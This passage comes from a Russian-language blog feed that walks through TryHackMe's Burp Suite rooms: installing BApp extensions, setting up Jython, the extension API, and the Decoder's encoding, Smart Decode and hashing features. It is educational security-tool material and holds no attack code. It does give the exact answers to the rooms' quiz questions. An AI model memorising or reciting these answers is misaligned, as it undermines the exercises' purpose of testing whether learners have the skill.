  &lt;p id=&quot;lBaG&quot;&gt;В Burp Suite магазин приложений Burp App Store (BApp Store) позволяет легко находить и беспрепятственно интегрировать официальные расширения в инструмент. Расширения могут быть написаны на различных языках, наиболее распространенными являются Java и Python. Расширения на Java автоматически интегрируются с фреймворком Burp Suite , в то время как для расширений на Python требуется интерпретатор Jython.&lt;/p&gt;
  &lt;p id=&quot;f6IP&quot;&gt;Чтобы ознакомиться с BApp Store и установить расширение для Java, давайте установим расширение &lt;a href=&quot;https://github.com/portswigger/request-timer&quot; target=&quot;_blank&quot;&gt;Request Timer&lt;/a&gt;  , написанное Ником Тейлором. Расширение Request Timer позволяет регистрировать время, необходимое для получения ответа на каждый запрос. Эта функция особенно полезна для выявления и использования уязвимостей, основанных на времени. Например, если форма авторизации обрабатывает запросы с действительными именами пользователей на секунду дольше, чем запросы с недействительными, мы можем использовать разницу во времени, чтобы определить, какие имена пользователей являются действительными.&lt;/p&gt;
  &lt;p id=&quot;AiKv&quot;&gt;Выполните следующие действия, чтобы установить расширение Request Timer из магазина BApp:&lt;/p&gt;
  &lt;ol id=&quot;Czlh&quot;&gt;
    &lt;li id=&quot;KPzn&quot;&gt;Перейдите во вкладку &lt;strong&gt;BApp Store в &lt;/strong&gt;Burp Suite .&lt;/li&gt;
    &lt;li id=&quot;RSjK&quot;&gt;Воспользуйтесь функцией поиска, чтобы найти &lt;strong&gt;Request Timer&lt;/strong&gt; . Для этого расширения должен быть только один результат.&lt;/li&gt;
    &lt;li id=&quot;gxeZ&quot;&gt;Нажмите на найденное расширение, чтобы просмотреть более подробную информацию.&lt;/li&gt;
    &lt;li id=&quot;CIiT&quot;&gt;Нажмите кнопку &lt;strong&gt;«Установить»&lt;/strong&gt;  , чтобы установить расширение Request Timer.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;8iVa&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/f667309abf35384b10ab28ffe04da311.png&quot; width=&quot;1095&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;EVfe&quot;&gt;После успешной установки расширения вы заметите, что в главном меню в верхней части интерфейса Burp Suite появится новая вкладка . Разные расширения могут вести себя по-разному. Некоторые могут добавлять новые пункты в контекстные меню, вызываемые щелчком правой кнопки мыши, в то время как другие создают совершенно новые вкладки в главной строке меню.&lt;/p&gt;
  &lt;p id=&quot;JWgH&quot;&gt;Поскольку данная установка является лишь примером использования BApp Store, мы не будем здесь рассматривать, как использовать Request Timer. Однако я настоятельно рекомендую открыть новую вкладку и изучить расширение, чтобы лучше понять его функциональность. Request Timer может быть полезен в различных сценариях, особенно при оценке безопасности веб-приложений и выявлении потенциальных уязвимостей, связанных со временем.&lt;/p&gt;
  &lt;p id=&quot;iyz7&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;VEx5&quot;&gt;&lt;strong&gt;Задание 4. Jython&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;fYWn&quot;&gt;&lt;strong&gt;Примечание:&lt;/strong&gt; Если вы используете AttackBox, интеграция с Jython уже выполнена, поэтому вы можете пропустить этот шаг.&lt;/p&gt;
  &lt;p id=&quot;hVvZ&quot;&gt;Для использования модулей Python в Burp Suite необходимо подключить JAR- файл интерпретатора Jython, который представляет собой реализацию Python на Java. Интерпретатор Jython позволяет запускать расширения на основе Python в Burp Suite.&lt;/p&gt;
  &lt;p id=&quot;sP5K&quot;&gt;Выполните следующие шаги, чтобы интегрировать Jython в Burp Suite на вашем локальном компьютере:&lt;/p&gt;
  &lt;ol id=&quot;EnHX&quot;&gt;
    &lt;li id=&quot;9G77&quot;&gt;&lt;strong&gt;Скачать JAR-файл&lt;/strong&gt; Jython : Зайдите на &lt;a href=&quot;https://www.jython.org/download&quot; target=&quot;_blank&quot;&gt;веб-сайт Jython&lt;/a&gt; и скачайте автономный JAR- архив. Найдите опцию &lt;strong&gt;«Jython Standalone»&lt;/strong&gt; . Сохраните JAR- файл в папку на вашем диске.&lt;/li&gt;
    &lt;li id=&quot;qekd&quot;&gt;&lt;strong&gt;Настройка Jython в Burp Suite&lt;/strong&gt; : Откройте Burp Suite и перейдите в модуль &lt;strong&gt;«Расширения»&lt;/strong&gt; . Затем перейдите на вкладку « &lt;strong&gt;Настройки расширений» .&lt;/strong&gt;&lt;/li&gt;
    &lt;li id=&quot;3Xbj&quot;&gt;&lt;strong&gt;Среда Python&lt;/strong&gt; : прокрутите вниз до раздела &amp;quot;Среда Python&amp;quot;.&lt;/li&gt;
    &lt;li id=&quot;SKkF&quot;&gt;&lt;strong&gt;Укажите местоположение JAR-файла&lt;/strong&gt; Jython : в поле «Местоположение автономного JAR- файла Jython» укажите путь к загруженному JAR- файлу Jython.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;cKts&quot;&gt;После выполнения этих шагов Jython будет интегрирован с Burp Suite , что позволит вам использовать модули Python в этом инструменте. Эта интеграция значительно увеличивает количество доступных расширений и расширяет ваши возможности при выполнении различных задач по тестированию безопасности и оценке веб-приложений.&lt;/p&gt;
  &lt;p id=&quot;3Ade&quot;&gt;&lt;strong&gt;Примечание:&lt;/strong&gt; Процесс добавления Jython в Burp Suite одинаков для всех операционных систем, поскольку Java — это многоплатформенная технология.&lt;/p&gt;
  &lt;p id=&quot;SKwl&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;7O7M&quot;&gt;&lt;strong&gt;Задание 5. The Burp Suite API&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;WVxz&quot;&gt;В модуле расширений Burp Suite вы получаете доступ к широкому спектру API- интерфейсов, позволяющих создавать и интегрировать ваши модули с Burp Suite . Эти API предоставляют различные функциональные возможности, позволяя расширять возможности Burp Suite в соответствии с вашими конкретными потребностями.&lt;/p&gt;
  &lt;p id=&quot;l0Ig&quot;&gt;Чтобы просмотреть доступные конечные точки API , перейдите на вкладку &lt;strong&gt;«API»&lt;/strong&gt; в модуле «Расширения». Каждый элемент, указанный на левой панели, представляет собой отдельную конечную точку API , доступную из расширений.&lt;/p&gt;
  &lt;figure id=&quot;7Fzs&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/b815da3ba5714ffd2cbfa13c1c034aae.png&quot; width=&quot;1093&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;LxWe&quot;&gt;API расширений предоставляют разработчикам значительные возможности и гибкость при создании пользовательских расширений. Вы можете использовать эти API для беспрепятственного взаимодействия с существующим функционалом Burp Suite и адаптировать свои расширения для выполнения конкретных задач.&lt;/p&gt;
  &lt;p id=&quot;nSQl&quot;&gt;Burp Suite поддерживает написание расширений на нескольких языках, например:&lt;/p&gt;
  &lt;ol id=&quot;EnOh&quot;&gt;
    &lt;li id=&quot;3CkJ&quot;&gt;Java (нативно): Вы можете напрямую использовать Java для написания расширений для Burp Suite , используя преимущества мощных доступных API.&lt;/li&gt;
    &lt;li id=&quot;ls0H&quot;&gt;Python (через Jython): Если вы предпочитаете Python в качестве языка программирования, вы можете использовать Jython, который представляет собой реализацию Python на Java, для создания расширений Burp Suite .&lt;/li&gt;
    &lt;li id=&quot;DtTv&quot;&gt;Ruby (через JRuby): Разработчики, знакомые с Ruby, могут использовать JRuby, реализацию Ruby на Java, для создания расширений Burp Suite .&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;HYDv&quot;&gt;Важно отметить, что разработка расширений для Burp Suite может быть сложной задачей, выходящей за рамки данного модуля. Однако, если вас интересует дальнейшее изучение этой области и создание пользовательских расширений, PortSwigger предоставляет исчерпывающий справочник, который является отличным ресурсом для разработки расширений Burp Suite .&lt;/p&gt;
  &lt;p id=&quot;uVD5&quot;&gt;Чтобы узнать больше о разработке расширений для Burp Suite и получить доступ к подробной справочной информации, вы можете посетить официальную &lt;a href=&quot;https://portswigger.net/burp/extender/writing-your-first-burp-suite-extension&quot; target=&quot;_blank&quot;&gt;документацию&lt;/a&gt; PortSwigger . Этот ресурс предоставит информацию и рекомендации, необходимые для создания мощных и настраиваемых расширений, которые улучшат ваш опыт работы с Burp Suite .&lt;/p&gt;
  &lt;p id=&quot;L4Ay&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;exA7&quot;&gt;&lt;strong&gt;Задание 6. Заключение&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;6DXE&quot;&gt;Поздравляем! Вы успешно завершили модуль «Расширения Burp Suite» . Пройдя этот модуль, вы получили ценные знания о том, как использовать расширения для расширения функциональности Burp Suite .&lt;/p&gt;
  &lt;p id=&quot;juty&quot;&gt;Теперь вы хорошо понимаете, как:&lt;/p&gt;
  &lt;ol id=&quot;MYNF&quot;&gt;
    &lt;li id=&quot;tYjF&quot;&gt;Устанавливайте и управляйте расширениями из магазина BApp, чтобы расширить возможности Burp Suite.&lt;/li&gt;
    &lt;li id=&quot;vsDv&quot;&gt;Интегрируйте Jython, чтобы использовать модули Python в Burp Suite .&lt;/li&gt;
    &lt;li id=&quot;Iz4R&quot;&gt;Изучите API, позволяющие разрабатывать собственные модули на Java, Python или Ruby.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;3O1p&quot;&gt;Обладая этими навыками, вы сможете в полной мере использовать модуль Burp Suite Extensions при тестировании безопасности веб-приложений и оценке уязвимостей.&lt;/p&gt;
  &lt;p id=&quot;vs6l&quot;&gt;Отличная работа над модулем, и отдельная благодарность за вашу целеустремленность и старания! Продолжайте изучать, совершенствовать и оттачивать свои навыки в области кибербезопасности. Успешного хакинга!&lt;/p&gt;
  &lt;figure id=&quot;NuVG&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/fc/56/fc568c74-c2af-4258-b88b-e3184323d7e4.png&quot; width=&quot;1202&quot; /&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;JsPE&quot;&gt;&lt;a href=&quot;http://t.me/pentest89&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Основная группа&lt;/strong&gt;&lt;/a&gt; обучения ИБ&lt;br /&gt;&lt;strong&gt;&lt;a href=&quot;https://t.me/+fXKM89fYCMVmYjFi&quot; target=&quot;_blank&quot;&gt;Lab-группу&lt;/a&gt;&lt;/strong&gt; с полезным софтом / книгами / аудио.&lt;br /&gt;&lt;a href=&quot;https://t.me/+RuwyHi0We0lmZDhi&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Чат&lt;/strong&gt; &lt;/a&gt;для обсуждений, задавай свои вопросы.&lt;br /&gt;P.S. С вами был &lt;a href=&quot;https://t.me/Fnay_Offensive&quot; target=&quot;_blank&quot;&gt;@Fnay_Offensive&lt;/a&gt;&lt;br /&gt;До новой встречи, user_name!&lt;/p&gt;

</content></entry><entry><id>fnay_offensive:post_44</id><link rel="alternate" type="text/html" href="https://teletype.in/@fnay_offensive/post_44?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=fnay_offensive"></link><title>День 40.Burp Suite: Other Modules</title><published>2026-03-04T08:12:14.426Z</published><updated>2026-03-04T08:16:35.881Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img1.teletype.in/files/42/2d/422db9cb-4b1a-4c62-a616-866da28c37e6.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img2.teletype.in/files/10/b5/10b56cf1-f3ce-4e25-a73e-ab620c8811a3.jpeg&quot;&gt;Помимо широко известных комнат Repeater и Intruder , в Burp Suite есть несколько менее известных модулей. Именно на них мы сосредоточимся в ходе исследования этой комнаты.</summary><content type="html">
  &lt;h2 id=&quot;qpbg&quot;&gt;&lt;strong&gt;Задание 1. Введение &lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;8hmr&quot;&gt;Ознакомьтесь с некоторыми менее известными модулями Burp Suite.&lt;/p&gt;
  &lt;figure id=&quot;x76f&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/10/b5/10b56cf1-f3ce-4e25-a73e-ab620c8811a3.jpeg&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;h4 id=&quot;o0gK&quot;&gt;Добро пожаловать в раздел «Другие модули Burp Suite» !&lt;/h4&gt;
  &lt;p id=&quot;aXiU&quot;&gt;Помимо широко известных комнат &lt;a href=&quot;https://tryhackme.com/room/burpsuiterepeater&quot; target=&quot;_blank&quot;&gt;Repeater&lt;/a&gt; и &lt;a href=&quot;https://tryhackme.com/room/burpsuiteintruder&quot; target=&quot;_blank&quot;&gt;Intruder&lt;/a&gt; , в Burp Suite есть несколько менее известных модулей. Именно на них мы сосредоточимся в ходе исследования этой комнаты.&lt;/p&gt;
  &lt;figure id=&quot;EzJ0&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bc/b6/bcb622a0-5bf5-4af2-ad9f-d9b419dff0f0.jpeg&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;QslM&quot;&gt;В центре внимания будут инструменты Decoder, Comparer, Sequencer и Organizer. Они упрощают работу с закодированным текстом, позволяют сравнивать наборы данных, анализировать случайность в захваченных токенах и помогают сохранять и аннотировать копии HTTP- сообщений, к которым вы, возможно, захотите вернуться позже. Хотя эти задачи кажутся простыми, их выполнение в Burp Suite может существенно сэкономить время, что подчеркивает важность эффективного использования этих модулей.&lt;/p&gt;
  &lt;figure id=&quot;Dhqf&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bc/3e/bc3e0124-c40e-40cf-8465-e6a3432fbef9.jpeg&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;h0bG&quot;&gt;Итак, без лишних слов, давайте перейдем к первому инструменту — декодеру.&lt;/p&gt;
  &lt;h2 id=&quot;rhQP&quot;&gt;&lt;strong&gt;Задание 2. Декодер: Обзор &lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;MeUQ&quot;&gt;Модуль Decoder в Burp Suite предоставляет пользователю возможности манипулирования данными. Как следует из названия, он не только декодирует данные, перехваченные во время атаки, но и предоставляет функцию кодирования собственных данных, подготавливая их к передаче целевому объекту. Decoder также позволяет создавать хеш-суммы данных, а также предоставляет функцию Smart Decode, которая пытается рекурсивно декодировать предоставленные данные, пока они не вернутся в исходный текстовый формат (подобно функции &amp;quot;Magic&amp;quot; в &lt;a href=&quot;https://gchq.github.io/CyberChef/&quot; target=&quot;_blank&quot;&gt;Cyberchef&lt;/a&gt; ).&lt;/p&gt;
  &lt;p id=&quot;9mV3&quot;&gt;Чтобы получить доступ к декодеру, перейдите во вкладку «Декодер» в верхнем меню и просмотрите доступные параметры:&lt;/p&gt;
  &lt;figure id=&quot;iutL&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/2258ccd03e0732c2d0bd4729a3f6212f.png&quot; width=&quot;1257&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;aX4f&quot;&gt;Этот интерфейс предоставляет множество вариантов.&lt;/p&gt;
  &lt;ol id=&quot;iHnZ&quot;&gt;
    &lt;li id=&quot;qEOY&quot;&gt;Это поле служит рабочей областью для ввода или вставки данных, требующих кодирования или декодирования. Как и в других модулях Burp Suite , данные можно перемещать в эту область из разных частей платформы с помощью опции « &lt;strong&gt;Отправить в декодер»,&lt;/strong&gt; активируемой щелчком правой кнопки мыши.&lt;/li&gt;
    &lt;li id=&quot;aetP&quot;&gt;В верхней части списка справа есть возможность обрабатывать входные данные либо как текстовые, либо как шестнадцатеричные байтовые значения.&lt;/li&gt;
    &lt;li id=&quot;bn4G&quot;&gt;По мере продвижения вниз по списку появляются выпадающие меню для кодирования, декодирования или хеширования входных данных.&lt;/li&gt;
    &lt;li id=&quot;ct4P&quot;&gt;Функция &lt;strong&gt;Smart Decode&lt;/strong&gt;  , расположенная в конце, пытается автоматически декодировать входные данные.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;RDRO&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/f795b0f0701d019d37025310fa4ae285.png&quot; width=&quot;1260&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Er67&quot;&gt;После ввода данных в поле ввода интерфейс дублируется, отображая результат нашей операции. Затем мы можем выбрать применение дальнейших преобразований, используя те же параметры:&lt;/p&gt;
  &lt;figure id=&quot;ad1n&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/257ef62054a79fe68172310bfcb4c002.png&quot; width=&quot;1034&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;LkmA&quot;&gt;Вопрос: Какая функция пытается выполнить автоматическое декодирование входных данных?&lt;br /&gt;Ответ: Smart decode&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;iRsc&quot;&gt;&lt;strong&gt;Задание 3. Декодер: кодирование/декодирование &lt;/strong&gt;&lt;/h2&gt;
  &lt;h4 id=&quot;KwQP&quot;&gt;Кодирование и декодирование с помощью декодера&lt;/h4&gt;
  &lt;p id=&quot;FiKQ&quot;&gt;Теперь давайте подробно рассмотрим параметры ручного кодирования и декодирования. Они идентичны независимо от того, выбрано ли меню декодирования или кодирования:&lt;/p&gt;
  &lt;figure id=&quot;iMCx&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/8ce7c550edf3a79cafbb7be8468793ff.png&quot; width=&quot;205&quot; /&gt;
  &lt;/figure&gt;
  &lt;ul id=&quot;WgKv&quot;&gt;
    &lt;li id=&quot;ITvv&quot;&gt;&lt;strong&gt;Plain&lt;/strong&gt; : Это относится к исходному тексту до применения каких-либо преобразований.&lt;/li&gt;
    &lt;li id=&quot;TkDJ&quot;&gt;&lt;strong&gt;URL&lt;/strong&gt; : Кодирование URL используется для обеспечения безопасной передачи данных в URL-адресе веб-запроса. Оно включает замену символов их кодов ASCII в шестнадцатеричном формате, перед которыми стоит символ процента (%). Этот метод крайне важен для тестирования любых веб-приложений.Например, кодирование символа косой черты ( &lt;strong&gt;/&lt;/strong&gt; ), код символа ASCII которого равен 47, преобразует его в шестнадцатеричный код в &lt;strong&gt;2F&lt;/strong&gt; , таким образом, в кодировке URL он становится &lt;strong&gt;%2F&lt;/strong&gt; . Декодер можно использовать для проверки этого, введя косую черту в поле ввода, а затем выбрав &lt;code&gt;Encode as -&amp;gt; URL&lt;/code&gt;:&lt;/li&gt;
    &lt;li id=&quot;ec4D&quot;&gt;&lt;strong&gt;HTML&lt;/strong&gt; : Кодирование HTML-сущностей заменяет специальные символы амперсандом (&amp;amp;), за которым следует либо шестнадцатеричное число, либо ссылка на экранируемый символ, и заканчивается точкой с запятой (;). Этот метод обеспечивает безопасное отображение специальных символов в HTML и помогает предотвратить такие атаки, как XSS. Опция HTML в декодере позволяет закодировать любой символ в его экранированный HTML-формат или декодировать захваченные HTML-сущности. Например, чтобы декодировать ранее обсуждавшуюся кавычку, введите закодированную версию и выберите &lt;code&gt;Decode as -&amp;gt; HTML&lt;/code&gt;:&lt;/li&gt;
    &lt;li id=&quot;383o&quot;&gt;&lt;strong&gt;Base64&lt;/strong&gt; : Base64 — широко используемый метод кодирования, преобразующий любые данные в формат, совместимый с ASCII. Принцип его работы на данном этапе не имеет решающего значения; однако заинтересованные лица могут ознакомиться с базовой математической основой &lt;a href=&quot;https://stackabuse.com/encoding-and-decoding-base64-strings-in-python&quot; target=&quot;_blank&quot;&gt;здесь&lt;/a&gt; .&lt;/li&gt;
    &lt;li id=&quot;dqrq&quot;&gt;&lt;strong&gt;ASCII Hex&lt;/strong&gt; : Эта опция преобразует данные между ASCII и шестнадцатеричным представлением. Например, слово &amp;quot;ASCII&amp;quot; можно преобразовать в шестнадцатеричное число &amp;quot;4153434949&amp;quot;. Каждый символ преобразуется из своего числового представления ASCII в шестнадцатеричное.&lt;/li&gt;
    &lt;li id=&quot;cpS4&quot;&gt;&lt;strong&gt;Шестнадцатеричная, восьмеричная и двоичная системы счисления&lt;/strong&gt; : эти методы кодирования применяются исключительно к числовым данным, преобразуя их между десятичной, шестнадцатеричной, восьмеричной (основание восемь) и двоичной системами счисления.&lt;/li&gt;
    &lt;li id=&quot;pPNX&quot;&gt;&lt;strong&gt;Gzip&lt;/strong&gt; : Gzip сжимает данные, уменьшая размер файлов и страниц перед передачей в браузер. Более быстрая загрузка крайне желательна для разработчиков, стремящихся улучшить свои SEO-показатели и избежать неудобств для пользователей. Декодер облегчает ручное кодирование и декодирование данных gzip, хотя они часто не являются допустимыми ASCII/Unicode. Например:&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;FBIi&quot;&gt;Эти методы можно комбинировать. Например, фразу (&amp;quot;Burp Suite Decoder&amp;quot;) можно преобразовать в шестнадцатеричный код ASCII, а затем в восьмеричный:&lt;/p&gt;
  &lt;figure id=&quot;o8YS&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/4a1065502dd1020858694994767b4156.gif&quot; width=&quot;1034&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;xZVx&quot;&gt;В совокупности эти методы предоставляют нам существенный контроль над данными, которые мы кодируем или декодируем.&lt;/p&gt;
  &lt;p id=&quot;UDj9&quot;&gt;Каждый метод кодирования/декодирования обозначен определенным цветом, что позволяет быстро определить применяемое преобразование.&lt;/p&gt;
  &lt;h5 id=&quot;vP99&quot;&gt;шестнадцатеричный формат&lt;/h5&gt;
  &lt;p id=&quot;pYSI&quot;&gt;Хотя ввод данных в формате ASCII удобен, иногда требуется побайтовое редактирование входных данных. Именно здесь на помощь приходит функция «Шестнадцатеричный просмотр», которую можно выбрать над параметрами декодирования:&lt;/p&gt;
  &lt;figure id=&quot;r1aZ&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/704444afc761deabd6a8a3492dffd89b.png&quot; width=&quot;1035&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;5G3p&quot;&gt;Эта функция позволяет просматривать и изменять данные в шестнадцатеричном байтовом формате, что является важным инструментом при работе с бинарными файлами или другими данными, не являющимися ASCII-символами.&lt;/p&gt;
  &lt;h5 id=&quot;PnYq&quot;&gt;Smart Decode&lt;/h5&gt;
  &lt;p id=&quot;Hlyo&quot;&gt;Наконец, у нас есть опция &lt;strong&gt;«Умное декодирование»&lt;/strong&gt; . Эта функция пытается автоматически декодировать закодированный текст. Например, текст &lt;code&gt;&amp;amp;#x42;&amp;amp;#x75;&amp;amp;#x72;&amp;amp;#x70;&amp;amp;#x20;&amp;amp;#x53;&amp;amp;#x75;&amp;amp;#x69;&amp;amp;#x74;&amp;amp;#x65;&lt;/code&gt; автоматически распознается как HTML-код и соответственно декодируется:&lt;/p&gt;
  &lt;figure id=&quot;jyCk&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/e6330851dfa9ea47e3d2d54ab78b0023.gif&quot; width=&quot;1034&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;4cxS&quot;&gt;Хотя эта функция и не идеальна, она может стать быстрым решением для расшифровки неизвестных фрагментов данных.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;wi0N&quot;&gt;Вопрос:&lt;/p&gt;
    &lt;p id=&quot;8c5T&quot;&gt;Кодировка фразы в Base64: &lt;code&gt;Let&amp;#x27;s Start Simple&lt;/code&gt;.&lt;/p&gt;
    &lt;p id=&quot;t8zt&quot;&gt;Какова версия этого текста в кодировке base64?&lt;br /&gt;&lt;strong&gt;Ответ: TGV0J3MgU3RhcnQgU2ltcGxl&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;INbr&quot;&gt;Вопрос: Расшифруйте эти данные по URL: &lt;code&gt;%4e%65%78%74%3a%20%44%65%63%6f%64%69%6e%67&lt;/code&gt;.&lt;/p&gt;
    &lt;p id=&quot;L4yn&quot;&gt;Какой текст возвращается в открытом виде?&lt;br /&gt;&lt;strong&gt;Ответ: Next: Decoding&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;MuWu&quot;&gt;Вопрос: Используйте функцию Smart decode для декодирования этих данных: &lt;code&gt;&amp;amp;#x25;&amp;amp;#x33;&amp;amp;#x34;&amp;amp;#x25;&amp;amp;#x33;&amp;amp;#x37;&lt;/code&gt;.&lt;/p&gt;
    &lt;p id=&quot;cfVu&quot;&gt;Что представляет собой расшифрованный текст?&lt;br /&gt;&lt;strong&gt;Ответ: 47&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;TVqV&quot;&gt;Вопрос: Закодируйте эту фразу: &lt;code&gt;Encoding Challenge&lt;/code&gt;.&lt;/p&gt;
    &lt;p id=&quot;61GB&quot;&gt;Начните с кодирования base64. Возьмите результат этого кодирования и преобразуйте его в шестнадцатеричный код ASCII. Наконец, закодируйте шестнадцатеричную строку в восьмеричный код &lt;em&gt;.&lt;/em&gt;&lt;/p&gt;
    &lt;p id=&quot;3sJY&quot;&gt;Какая строка будет последней?&lt;/p&gt;
    &lt;p id=&quot;YE5S&quot;&gt;&lt;br /&gt;&lt;strong&gt;Ответ: 24034214a720270024142d541357471232250253552c1162d1206c&lt;/strong&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;Qv2m&quot;&gt;&lt;strong&gt;Задание 4. Декодер: Хэширование &lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;hNZG&quot;&gt;&lt;code&gt;Hash&lt;/code&gt;В дополнение к функциям кодирования/декодирования, Decoder также предоставляет возможность генерировать хеш-суммы для наших данных.&lt;/p&gt;
  &lt;h4 id=&quot;e4dd&quot;&gt;Теория&lt;/h4&gt;
  &lt;p id=&quot;cx0p&quot;&gt;Хэширование — это односторонний процесс, преобразующий данные в уникальную сигнатуру. Чтобы функция считалась алгоритмом хэширования, её результат должен быть необратимым. Эффективный алгоритм хэширования гарантирует, что каждый входной параметр данных будет генерировать совершенно уникальный хэш. Например, использование алгоритма MD5 для получения хэш-суммы для текста &amp;quot;MD5sum&amp;quot; даёт результат &lt;code&gt;4ae1a02de5bd02a5515f583f4fca5e8c&lt;/code&gt;. Использование того же алгоритма для &amp;quot;MD5SUM&amp;quot; даёт совершенно другой хэш, несмотря на близкое сходство входных данных: &lt;code&gt;13b436b09172400c9eb2f69fbd20adad&lt;/code&gt;. Поэтому хэши обычно используются для проверки целостности файлов и документов, поскольку даже незначительное изменение файла существенно меняет хэш-сумму.&lt;/p&gt;
  &lt;p id=&quot;QyMk&quot;&gt;&lt;strong&gt;Примечание:&lt;/strong&gt; Алгоритм MD5 устарел и не должен использоваться в современных приложениях.&lt;/p&gt;
  &lt;p id=&quot;Lx73&quot;&gt;Кроме того, хеши используются для безопасного хранения паролей, поскольку односторонний процесс хеширования делает пароли относительно защищенными, даже если база данных будет скомпрометирована. Когда пользователь создает пароль, приложение хеширует его и сохраняет. Во время входа в систему приложение хеширует введенный пароль и сравнивает его с сохраненным хешем; если они совпадают, пароль верен. Используя этот метод, приложению никогда не нужно хранить исходный (открытый) пароль.&lt;/p&gt;
  &lt;h4 id=&quot;HPvd&quot;&gt;Хэширование в декодере&lt;/h4&gt;
  &lt;p id=&quot;eLOa&quot;&gt;Декодер позволяет создавать хеш-суммы для данных непосредственно в Burp Suite; он работает аналогично параметрам кодирования/декодирования, которые мы обсуждали ранее. В частности, мы щелкаем по выпадающему меню &lt;strong&gt;«Хеш»&lt;/strong&gt; и выбираем алгоритм из списка:&lt;/p&gt;
  &lt;figure id=&quot;U6aI&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/c212c8a83418b3674928270f258ddd72.png&quot; width=&quot;177&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;TXEm&quot;&gt;&lt;strong&gt;Примечание:&lt;/strong&gt; Этот список значительно длиннее, чем список алгоритмов кодирования/декодирования — стоит пролистать его, чтобы увидеть множество доступных алгоритмов хеширования.&lt;/p&gt;
  &lt;p id=&quot;udEA&quot;&gt;Продолжая наш предыдущий пример, введем &amp;quot;MD5sum&amp;quot; в поле ввода, а затем прокрутим список вниз, пока не найдем &amp;quot; MD5 &amp;quot;. Применение этой команды автоматически переведет нас в шестнадцатеричный режим отображения:&lt;/p&gt;
  &lt;figure id=&quot;2yDS&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/01a73d9cb47f274259543585f91a3664.png&quot; width=&quot;1097&quot; /&gt;
  &lt;/figure&gt;
